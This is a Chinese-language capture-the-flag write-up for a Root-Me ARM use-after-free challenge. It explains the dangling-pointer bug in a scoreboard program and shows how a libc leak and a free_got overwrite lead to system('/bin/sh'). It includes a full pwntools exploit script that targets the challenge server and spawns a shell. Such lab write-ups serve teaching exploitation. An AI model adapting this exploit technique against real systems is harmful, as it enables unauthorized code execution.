0x01 题目简介
这是Rootme.org上一道有关ARM ELF UAF的题目——The best things in life are free()。此题主要考查ARM下UAF漏洞的利用,通过UAF漏洞进行信息泄露进而改写GOT表获得执行任意代码。
0x02 题目分析
UAF漏洞
运行题目如下:
$ ./ch47 Root-Me CTF Scoreboard v2.0 A tool to manage scoring for CTF's Enter a Command: add [alias] edit [alias] del [alias] show [alias] score [alias] leader totals export json|csv help quit :
一个简单的CTF分数管理程序,可以通过add、edit、del、show、score等命令,对队伍进行添加、编辑、删除、打印、得分。
值得注意的是,每个队伍具有别名(alias),除了根据编号(index)来对队伍进行操作外,还可以根据别名进行操作,漏洞就在程序对alias的处理上。比如add 一个team,其别名为xx,index为0, 则后续我们除了通过index 0对这个team进行操作外,还可以通过edit xx,del xx, show xx
等进行操作。当我们通过index 0 del这个team以后,我们没法再次通过index edit和del了,但是我们却可以通过edit xx和del xx继续操作,这就是所谓的UAF漏洞,del以后产生的野指针我们可以继续引用它进行危险操作!
如果再次del xx, 就会对野指针再free一次,程序触发double free出错, 这证明了漏洞的存在。
$ ./ch47 Root-Me CTF Scoreboard v2.0 A tool to manage scoring for CTF's Enter a Command: add [alias] edit [alias] del [alias] show [alias] score [alias] leader totals export json|csv help quit : add xx Team: MS509 Desc: AAAAAAAAAAAAA Success: team added (index: 0; name: MS509; alias: xx) Enter a Command: add [alias] edit [alias] del [alias] show [alias] score [alias] leader totals export json|csv help quit : del Index: 0 Success: deleted MS509 Enter a Command: add [alias] edit [alias] del [alias] show [alias] score [alias] leader totals export json|csv help quit : del xx Success: deleted MS509 *** Error in `./ch47': double free or corruption (fasttop): 0x01979008 *** Aborted
控制野指针的内容
调试过程中对team的内容进行跟踪,大致还原了其数据结构如图
在add的时候,team的内容存储在固定60字节的堆中,其中最后四个字节为指向team description的堆上分配的指针, 而descrption的内容紧随其后存储在根据description长度动态分配的地址上。
在del的时候,team及description会先后free掉,因此这里有两个野指针。
对于team而言,长度固定为60字节,可以编辑index、score和name(都有限制);对于description而言,长度可控、内容可控。因此,description是作为操纵野指针的更好选择。
另外,在edit的时候,我们还有一次机会malloc新的description,只要新的description长度更长即可。
这样我们free掉一个team后,如果malloc的description的长度恰好是60字节(使用edit,而非使用add,因为add会依次malloc新的team和description),则会占据原先free掉的team的位置。由于alias的存在,还可以通过show、edit等命令对free掉的team进行操作。
使用show命令,可以打印最后四字节指针指向内存(本该为description)的内容,任意地址读。
使用edit命令,可以修改最后四字节指针指向内存(本该为description)的内容,任意地址写。
而程序的GOT表部分可写,因此可以考虑通过任意地址读泄露某个libc函数地址进而获得system函数地址,然后将某一个GOT表项修改为system函数地址,最后触发system("/bin/sh")
0x03 漏洞利用
结合题目之意,修改free_got最为方便,并将函数参数布置在某个team的description中即可
具体漏洞步骤如下:
1、建立3个team, MS509(别名为xx)/MS508/MS507,前面两个description的长度要比60字节小很多,设置”/bin/sh”为MS507的description
2、del MS509, 并edit MS508的description为60字节,最后四字节为free_got。
3、通过show xx打印MS509这个team,打印出来的description前四字节内容即为free函数的地址。
4、计算system函数地址,再通过edit xx编辑MS509team,description填入system函数地址,使free_got指向system
5、del MS507触发free,实际调用system("/bin/sh")
利用代码和注释如下:
from pwn import * menu_end = "quit\n\n: " #context.log_level = 'debug' def add(p, team, desc, alias=""): p.sendline("add " + alias) print p.recvuntil("Team: ") p.sendline(team) print p.recvuntil("Desc: ") p.sendline(desc) def show(p, index, alias=""): p.sendline("show " + alias) if (alias == ""): print p.recvuntil("Index: " ) p.sendline(index) def delete(p, index, alias=""): p.sendline("del " + alias) if (alias == ""): print p.recvuntil("Index: " ) p.sendline(index) def edit(p, index,team, desc, points, alias=""): p.sendline("edit " + alias) if (alias == ""): print p.recvuntil("Index: " ) p.sendline(index) print p.recvuntil("Team: Team: ") p.sendline(team) print p.recvuntil("Desc: ") p.sendline(desc) print p.recvuntil("Points: ") p.sendline(points) else: print p.recvuntil("Team: " ) p.sendline(team) print p.recvuntil("Desc: " ) p.sendline(desc) print p.recvuntil("Points: " ) p.sendline(points) def export(p): p.sendline("export json") def main(): #p = process("./ch47") p = remote("challenge04.root-me.org", 61047) print p.recvuntil(menu_end) #1. add 3 teams add(p,"MS509", "AAAAAAAAAAAAAAAA", "xx") print p.recvuntil(menu_end) add(p,"MS508", "B", "yy") print p.recvuntil(menu_end) #notice, the description is /bin/sh which will be free'd later since we modify element of free_got into system add(p,"MS507", "/bin/sh", "zz") print p.recvuntil(menu_end) # print "[+] Waiting for debugging.." # raw_input() #2. del team 0 to get a dangling pointer which will be referenced by alias later delete(p, "0") print p.recvuntil(menu_end) #3. edit team 1, update the description pointer of malloc in the place of team 0 got_free = int("0x23014", 16) #no PIE, it's fixed payload = "C"*56 + p32(got_free) #must be 60bytes to be allocated in the free'd team 0, there is a '\00' in the end edit(p, "1", "MS508", payload, "50") print p.recvuntil(menu_end) #4. show the deleted team 0 by alias to leak the free address, Print After Free show(p,"unused", "xx") print p.recvuntil("Desc: ") #Notice , there are two spaces after Desc: addr_free_str = p.recv(4) # log.debug("free address is %s" % addr_free_str.encode("hex")) addr_free = u32(addr_free_str) log.debug("free address is %s" % hex(addr_free)) print p.recvuntil(menu_end) #5. using the leaked address to get system address libc = ELF("./libc.remote") #libc = ELF("./libc.so.6") addr_system = addr_free - (libc.symbols['free'] - libc.symbols['system']) addr_fgets = addr_free - (libc.symbols['free'] - libc.symbols['fgets']) addr_memcpy = addr_free - (libc.symbols['free'] - libc.symbols['memcpy']) log.debug("system address is %s" % hex(addr_system)) log.debug("fgets address is %s" % hex(addr_fgets)) #6. edit team0 to make got_free point to system addr, NOTE: let other funciton used later alone edit(p, "not_used", "MS509", p32(addr_system)+p32(addr_fgets)+p32(addr_memcpy),"100", "xx") print p.recvuntil(menu_end) #7. del team2 to trigger free which actually is system("/bin/sh") export(p) delete(p, "2") p.interactive() if __name__ == "__main__": main()
0x03 收获
- 程序流程不清楚时,可以通过测试和调试观察重要的数据结构,比如team,来辅助分析程序流程。进而再通过IDA进行静态分析,逐步理清程序
- 善于使用调试,在exp编写前期,用gdb动态调试验证思路,在exp运行时查找问题非常重要。
- pwntools使用非常方便,一定要掌握好这个工具
本文作者为Mr.Bai,转载请注明。